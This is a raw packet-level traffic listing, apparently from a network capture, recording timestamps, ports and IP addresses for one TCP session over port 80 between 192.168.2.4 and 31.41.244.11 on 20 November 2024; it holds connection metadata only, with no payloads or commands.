Nov 20, 2024 04:08:10.755599976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755609035 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755615950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755623102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755640984 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755667925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755673885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755690098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755703926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755714893 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755721092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755732059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755737066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755748987 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755754948 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755760908 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755772114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755779028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755786896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755791903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755820036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755830050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755846024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755861998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755877018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755887032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755892038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755903006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755913019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755928040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755929947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755951881 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755954027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755968094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755976915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755985022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755995989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.756000996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.756009102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.756016970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.756031990 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.756042004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.756062031 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.791529894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.791557074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.791570902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.791604996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.791623116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.791636944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.791659117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.791675091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.791718006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.791718006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.791718960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.791718960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.791718960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.791718960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.800648928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.800662994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.800695896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.800756931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.800759077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.800774097 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.800808907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.800859928 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.800873041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.800889015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.800913095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.800928116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.800935984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.800947905 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.800960064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.800976038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.800991058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.801012993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.801029921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.801044941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.801052094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.801060915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.801078081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.801081896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.801094055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.801110029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.801110983 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.801126957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.801131964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.801143885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.801158905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.801162004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.801173925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.801179886 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.801198006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.801218987 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.840739965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.840797901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.840811968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.840862989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.840878010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.840893030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.840908051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.840924978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.840934038 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.840934992 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.840934992 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.840934992 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841001034 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841001034 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841156960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841171980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841187000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841202021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841217995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841233015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841248989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841263056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841321945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841355085 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841744900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841761112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841778040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841793060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841808081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841810942 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841810942 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841820002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841837883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841840029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841861963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841861963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841867924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841892958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841908932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841909885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841909885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841924906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841936111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841943026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841950893 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841959000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841969967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841975927 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.841996908 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.841996908 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.842003107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842041016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842047930 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.842056036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842071056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842086077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842106104 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.842107058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.842114925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842130899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842139006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.842139006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.842147112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842156887 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842159033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.842174053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842189074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842190027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.842206001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842216015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.842231989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842236042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.842250109 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.842258930 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.842277050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.842297077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843173027 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843197107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843231916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843282938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843327045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843350887 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843367100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843379974 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843380928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843400002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843408108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843408108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843415976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843437910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843439102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843462944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843698978 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843765974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843799114 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843832970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843843937 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843849897 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843867064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843883038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843897104 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843897104 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843905926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843919992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843938112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843949080 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843949080 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843950033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843950033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.843954086 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843971968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.843981028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844000101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844018936 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844153881 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844178915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844201088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844208002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844218016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844230890 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844233990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844249010 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844265938 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844268084 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844285965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844300985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844306946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844306946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844316959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844332933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844337940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844337940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844350100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844367981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844378948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844378948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844386101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844402075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844403028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844424963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844427109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844427109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844440937 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844445944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844459057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844472885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844477892 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844491005 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844496012 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844507933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844512939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844531059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844532013 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844532013 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844547033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844568968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844568014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844568968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844585896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844588041 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844603062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.844616890 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844636917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.844700098 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.880110979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.880126953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.880140066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.880171061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.880194902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.880209923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.880223989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.880239010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.880340099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.880340099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.880340099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.880340099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889307022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889370918 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889456987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889472961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889487982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889496088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889503002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889507055 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889513969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889539003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889554024 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889555931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889581919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889597893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889600039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889600039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889615059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889625072 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889625072 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889640093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889656067 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889664888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889678001 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889681101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889698029 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889705896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889719009 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889723063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889739037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889755964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889770985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889770985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889772892 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889770985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889795065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.889806986 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889806986 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889831066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.889831066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929413080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929438114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929454088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929469109 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929485083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929502010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929517984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929533005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929595947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929595947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929595947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929595947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929595947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929601908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929619074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929635048 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929652929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929652929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929672956 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929692030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929697037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929716110 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929739952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929752111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929754972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929770947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.929779053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929799080 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929819107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.929819107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930018902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930054903 CET	80	62430	31.41.244.11	192.168.2.4
